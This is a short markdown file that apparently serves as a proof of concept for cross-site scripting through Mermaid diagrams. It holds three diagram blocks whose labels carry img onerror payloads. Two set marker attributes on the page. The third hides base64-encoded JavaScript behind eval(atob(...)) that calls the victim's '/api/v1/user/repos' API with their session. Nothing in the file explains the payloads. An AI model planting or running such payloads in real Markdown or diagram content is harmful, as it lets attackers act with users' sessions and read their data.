# notes

```mermaid
erDiagram
  A ||--o{ B : "<img src=x onerror=top.document.documentElement.setAttribute('data-er','POC-ER')>"
```

```mermaid
sequenceDiagram
  participant A as Alice<img src=x onerror=top.document.documentElement.setAttribute('data-seq','POC-SEQ')>$$	ext{A}$$
  A->>B: hi
```

```mermaid
erDiagram
  C ||--o{ D : "<img src=x onerror=eval(atob('ZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LnNldEF0dHJpYnV0ZSgnZGF0YS1ldicsJ09LVCcpO2ZldGNoKCcvYXBpL3YxL3VzZXIvcmVwb3MnKS50aGVuKGZ1bmN0aW9uKHIpe2RvY3VtZW50LmRvY3VtZW50RWxlbWVudC5zZXRBdHRyaWJ1dGUoJ2RhdGEtYXBpJyxyLnN0YXR1cyl9LGZ1bmN0aW9uKGUpe2RvY3VtZW50LmRvY3VtZW50RWxlbWVudC5zZXRBdHRyaWJ1dGUoJ2RhdGEtYXBpJywnRVJSJyl9KQ=='))>"
```